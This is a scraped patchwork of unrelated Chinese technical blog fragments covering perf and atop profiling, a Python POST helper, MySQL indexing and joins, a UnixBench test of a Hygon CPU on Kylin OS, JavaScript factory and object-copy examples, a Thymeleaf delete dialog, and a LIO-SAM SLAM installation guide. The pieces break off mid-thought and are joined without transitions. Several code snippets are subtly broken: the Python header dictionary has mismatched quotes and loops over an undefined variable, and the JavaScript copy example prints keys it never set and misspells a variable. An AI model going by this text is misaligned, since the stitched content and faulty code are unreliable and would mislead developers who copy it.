atop -r atop_20210715 perf 查看atop可以看到系统的资源信息,通过这些能够知道可能存在问题的方向,但是光有atop可能并不足以精确定位到问题所在,因此还需要perf去抓更多的trace信息,然后对于perf来说,直接抓热点可能会对系统性能产生较大影响。这里需要考虑一种轻量级的采样方法,可以通过传入-F指定采样频率来进行perf热点采集。
perf record -g -a -F 99 这里会每秒钟采集99个采样点,对系统的影响可控,因此可以尝试长时间抓取信息,保证故障的时候有数据可以查看。这里还有一个问题,对于perf收集的数据是一段时间的,那么瞬间的抖动放在长时间的范围内进行统计,很可能无法体现出来问题点。那么这里就需要使用到perf的另一个功能,就是–time按照时间范围查看:
perf report --header-only perf report --time start,end 第一个命令可以查看当前perf抓取的数据的起始时间点和结束时间点,那么根据这个可以推算出故障发生时的时间点,再使用第二个命令截取其中的一段来进行report分析:
比如想查看,开始的1s时间,perf抓到的热点信息:
perf report --time 428090,428091
1、post请求
#-*- coding:utf-8 -*- import json import requests def request_data(urls,request_param): header_dict = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', 'Content-Type": "application/json'} #print(request_param) request_json = json.dumps(request_param) response = requests.post(url=urls, data=request_json, headers=header_dict,timeout=30) response_json=response.json() #print(response_json) for x in data: request_param={} request_data("",request_param)
索引优化分析 性能下降,SQL慢、执行时间长、等待时间长 数据过多——分库分表关联太多的表,太多join——SQL优化没有充分利用到索引 ——索引建立服务器调优及各个参数设置——调整my.cnf 其中优化手段“建立索引”最快捷也最常用。
预热—常见通用的join查询
其中:union关键字在使用时,两个结果的字段相等、字段数相等、字段顺序一致。
union all和union的区别在于去重,union会去重。
select a.*,b.* from t_emp a left join t_dept b on a.deptid = b.id where b.id is null union select a.*,b.* from t_dept b left join t_emp a on a.deptid = b.id where a.id is null; -- 查询a表独有和b表独有的数据 mysql 单表瓶颈500w
索引简介 索引(Index)是帮助MySQL高效获取数据的数据结构。
索引的本质:索引是数据结构
可将索引理解为"排好序的快速查找数据结构"。
数据库系统维护着满足特定查找算法的数据结构,这些数据结构以某种方式引用数据,这样就可以在这些数据结构上实现高级查找算法。这些数据结构就是索引。
索引的存放位置:一般来说,索引本身也很大,不可能全部存储在内存中,因此,索引往往以索引文件的形式存储在磁盘中。
索引的优势: 提高数据检索的效率,降低数据库的IO成本;通过索引对数据进行排序,降低数据排序的成本,减少CPU的消耗。 索引的劣势: 在提高查询速率的同时,降低了表更新的速度。因在更新表时,MySQL不仅保存表数据,还需保存索引文件每次添加的索引列字段实际上索引也是一张表,该表保存了主键和索引字段,并指向实体表的记录,所以索引也需占用空间。 索引的结构:
B_tree 平衡树 Btree 非叶子节点包含 索引指向的数据向下的指针指向数据的指针 B+tree 非叶子节点不包含索引指向的数据 MySQL选择B+tree作为索引,相对有限的内存中,B+tree的占用空间要比Btree小三分之一,相对发生IO的次数更少,时间更短。
时间复杂度 同一问题可用不同的算法解决,而一个算法的质量优劣将影响到算法及程序的执行效率。算法分析的目的在于选择合适的算法和改进算法。
作者:高玉涵
博客:blog.csdn.net/cg_i
日期:2021.7.14 20:00
“不服,来跑个分吧!”
——国内某科技圈知名人士的名言
分数不是衡量孩子的唯一标准
第一幅图中一个满脸笑意的孩子拿着一张100分的卷子,颊上是他父母鼓励的唇印,与之形成鲜明对比的是另一个拿着一张55分卷子的孩子,他愁苦的脸上,巴掌印触目惊心。而第二幅图中,那个曾考了100分的孩子只考了98分,脸上也因此添了一道巴掌印,而另一个孩子却因为这次考了61分而获得了父母的吻。
这则漫画反映了如今家长对孩子的成绩过于关注的现状,一个孩子无论成绩好坏,退步了就打,进步了就夸,仿佛那冰冷的数字就是孩子的一切,我理解父母们望子成龙、望女成凤的心态。然而,事实证明,分数的确不是评价孩子的惟一标准。善良、诚信、责任心等,也许是比智力更为宝贵的品质。
巧合的是上述情景正发生在国产CPU、操作系统上。在美国对中国技术封锁的背景下,国产CPU、操作系统艰难起步,同时也迎来越来越好的发展历史机遇,产品性能逐渐提升。像此次性能测试的机器,CPU为国产Hygon C86 7280、操作系统为国产银河麒麟V10服务器版。这也是我第一次接触国产CPU和国产操作系统,这多少让我有些激动。
相对于国外芯片“巨人”英特尔、操作系统“帝国”微软等等,国产CPU、操作系统在它们面前就是个“孩子”。国内舆论不是极左就是极右,鲜有科学看待国产IT发展。这可能缘于“父母望子成龙、望女成凤的心态”吧!只要踏踏实实做事,时间会证明一切。您看我这不就写了一篇,国产CPU性能测试的文章吗?这在以前是我想也不敢想的事情。
性能测试软硬件环境介绍
跑分就是用软件测试系统成绩,分数是衡量系统各项指标较为直观的展现。通俗点讲就是好到什么程序、差到什么程度。一般测试用同一软件、系统,测试软件的成绩分,分数高的当然性能好。
为了使“跑分”具趣味性、差异性,测试使用了两套硬件平台,主要参数如下:
平台一
OS: GNU/Linux -- 4.19.90-23.8.v2101.ky10.x86_64 -- #1 SMP Mon May 17 17:08:34 CST 2021
CPU型号:Hygon C86 7280 32-core Processor
单CPU内核数:32
CPU个数:2
总CPU线程数:128
内存:262690900 kB
平台二
OS: GNU/Linux -- 4.19.90-23.8.v2101.ky10.x86_64 -- #1 SMP Mon May 17 17:08:34 CST 2021CPU型号:Intel(R) Xeon(R) CPU E7-8891 v4 @ 2.80GHz
单CPU内核数:10
CPU个数:4
总CPU线程数:80
内存:526940828 kB
注:以上参数来自麒麟操作系统/proc/cpuinfo、/proc/meminfo配置文件信息。
UnixBench工具概述
UnixBench是最初的BYTE UNIX基准测试套件,多年来经过许多人的更新和修订(最新版本是V5.1.3)。
原文链接:https://www.cnblogs.com
一:理解工厂模式
工厂模式类似于现实生活中的工厂可以产生大量相似的商品,去做同样的事情,实现同样的效果;这时候需要使用工厂模式。
简单的工厂模式可以理解为解决多个相似的问题;这也是她的优点;比如如下代码:
function CreatePerson(name,age,sex) { var obj = new Object(); obj.name = name; obj.age = age; obj.sex = sex; obj.sayName = function(){ return this.name; } return obj; } var p1 = new CreatePerson("longen",'28','男'); var p2 = new CreatePerson("tugenhua",'27','女'); console.log(p1.name); // longen console.log(p1.age); // 28 console.log(p1.sex); // 男 console.log(p1.sayName()); // longen console.log(p2.name); // tugenhua console.log(p2.age); // 27 console.log(p2.sex); // 女 console.log(p2.sayName()); // tugenhua // 返回都是object 无法识别对象的类型 不知道他们是哪个对象的实列 console.log(typeof p1); // object console.
js 的 数据引用之对象 对象的引用规则js 对象的赋值 对象的引用规则 在脚手架中,对象的赋值如:
const params = {test: 1,target:2} const target = params console.log(parmas,target) //{test1: 1,test2:2} {test1: 1,test2:2} target.test1 = 4 console.log(parmas,target) //{test1: 4,test2:2} {test1: 4,test2:2} 由此可见,对象的赋值,其实是引用,而不是赋值,和C和C++中的数组的传递一样。
js 对象的赋值 由上面可见。为了保证数据的互不干扰,我们不希望使用对象的引用,而是使用,数据复制的形式,来对数据进行处理,这样可以规避数据的相互影响。
方式一: 使用方法Object.assign(target,source)
js提供了方法:Object.assign(target,source),可以将枚举对象进行扩充。如:
const target = {} const source = {a:1,b:2} Object.assign(target,source) console.log(target) //target = {a:1,b:2} console.log(source) //source = {a:1,b:2} target.a = 2 console.log(target) //target = {a:2,b:2} console.log(source) //source = {a:1,b:2} 这样,就可以避免数据的相互干扰。
当然,不建议使用这个方法
它只能实现一层的深拷贝,也就说,当你需要拷贝的对象的属性中,有对象的话,那么,你最后得到的结果。会有问题。
总的来说,这个也是一个浅拷贝,不仅如此,基本上直接提供给你的拷贝方式都是浅拷贝。
方法二: 直接赋值
HTML使用th标签给表格增加序号
使用Stat.index+1
<tbody th:each="goods:${goodsList}"> <tr> <td> <span th:text="${goodsStat.index+1}"></span> </td> </tr>
跳出弹窗确认是否删除
<button th:title="删除" style="text-decoration:none" type="button" th:value="${goods.goodsId}" onclick="deleteGood(this.value)"> <i class="layui-icon"></i> </button> <script> //确认是否删除商品(当前行)弹窗 function deleteSure(){ var r = confirm("确认要删除该商品吗?"); if (r == true) { layer.msg('已删除!',{icon:1,time:1000}); return true; } else { layer.msg('未删除!',{icon:2,time:1000}); return false; } } //删除货物 function deleteGood(goodsId) { if(deleteSure()==true) { var param = {"goodsId": goodsId}; $.post("/deleteGood", param, function (data) { if (data.state == 200) { layer.msg(data.message, {icon: 1, time: 1000}); location.href = "/findAllGoodsByUid"; } else { layer.msg(data.message, {icon: 2, time: 1000}); } }) } } </script>
3维SLAM入门 LIO-SAM的安装与运行 ubuntu18.04+ros melodic 1 背景介绍1.1 Cartographer1.2 LOAM1.3 LeGO-LOAM1.3 LIO-SAM1.4 LVI-SAM 2 安装LIO-SAM2.1 安装依赖2.2 安装LIO-SAM2.3 下载给定数据集 3 运行LIO-SLAM3.1 运行LIO-SAM:3.2 播放数据包3.3 保存pcd建图结果 参考文章:1、 SLAM学习笔记(十九)开源3D激光SLAM总结大全——Cartographer3D,LOAM,Lego-LOAM,LIO-SAM,LVI-SAM,Livox-LOAM的原理解析及区别 1 背景介绍 在自动驾驶的感知方案中,激光雷达是一个公认的精度高、探测距离远的传感器,适用于对周围环境的精确感知。激光雷达在工作时,采用激光扫描周围环境,返回点云数据。得到了周围环境的点云数据之后,需要对它进行处理。那么激光SLAM便是进行这个操作。激光SLAM是根据点云匹配来进行定位和建图。
现阶段,比较有名的三维激光SLAM算法有LOAM系和谷歌的cartographer。LOAM系包含了LOAM、LeGO-LOAM、LIO-SAM等一系列算法。先简要的介绍一下各个算法(主要是参考文章1)。
1.1 Cartographer Cartographer是由谷歌于2016年开源的一个支持ROS的室内SLAM库,并在截至目前为止,仍然处于不断的更新维护之中。
特点:代码极为工程,多态、继承、层层封装的十分完善。提供了方便的接口,便于接入IMU、(单/多线)雷达、里程计、甚至为二维码辅助等视觉识别方式也预留了接口(Landmark)。
1.2 LOAM LOAM为清华自动化本科毕业的Zhang Ji博士在CMU读博期间,于2014年在RSS期刊发表的关于三维激光传感器的SLAM算法。
特点:Cartographer主要解决室内问题,LOAM室内外都可以,但是没有回环检测,在具有旋转场景会有建图不准确的情况。LOAM的代码量相比Cartographer要小很多,文件结构相对简单。
1.3 LeGO-LOAM LeGO-LOAM是TiXiao Shan发表在IROS2018的文章,文章叫:可变地形下的轻量级和地面优化的雷达里程计与建图。其是以LOAM为框架衍生出的新算法,主要在于两点提升:轻量级 和 地面优化
特点:LeGO-LOAM具有回环检测能力,缺点是依赖地面。
1.3 LIO-SAM LIO-SAM是TixiaoShan在2020年IROS发表的Lego-LOAM续作。 它是Lego-LOAM的扩展版本,添加了IMU预积分因子和GPS因子。LOAM和LeGO-LOAM是纯依靠激光雷达点云SLAM,而LIO-SAM结合了Lidar、IMU和GPS。
1.4 LVI-SAM LVI-SAM为Lego-LOAM和LIO-SAM作者Tixiao Shan的最新工作,发表在ICRA 2021上。其提出了一个基于图优化的多传感器融合框架,具有多个子系统: 视觉惯性子系统(VIS) 和 雷达惯性子系统 (LIS); 单目+雷达+imu融合
具有鲁棒性:任一子系统失效,不会导致整个系统挂掉。
LVI所采用的回环检测,与大多数视觉SLAM所采取的回环检测方法相同,为词袋模型。与LeGO-LOAM,LIO-LOAM等工作相比,这种方式可以在地图数据库中找到回环,而无需知道当前运动的历史轨迹。
2 安装LIO-SAM 我的环境如下:
ubuntu18.04
ros-melodic
前往TixiaoShan的github主页找到LIO-SAM项目,项目的readme.md文件已经介绍了如何安装和运行,此处我对该过程翻译一下,并加上自己碰上的坑。
2.1 安装依赖 ROS相关的依赖有三个:
sudo apt-get install -y ros-melodic-navigation sudo apt-get install -y ros-melodic-robot-localization sudo apt-get install -y ros-melodic-robot-state-publisher 因为LIO-SAM里面需要用到因子图优化,其采用的是因子图优化库gtsam。此处安装gtsam: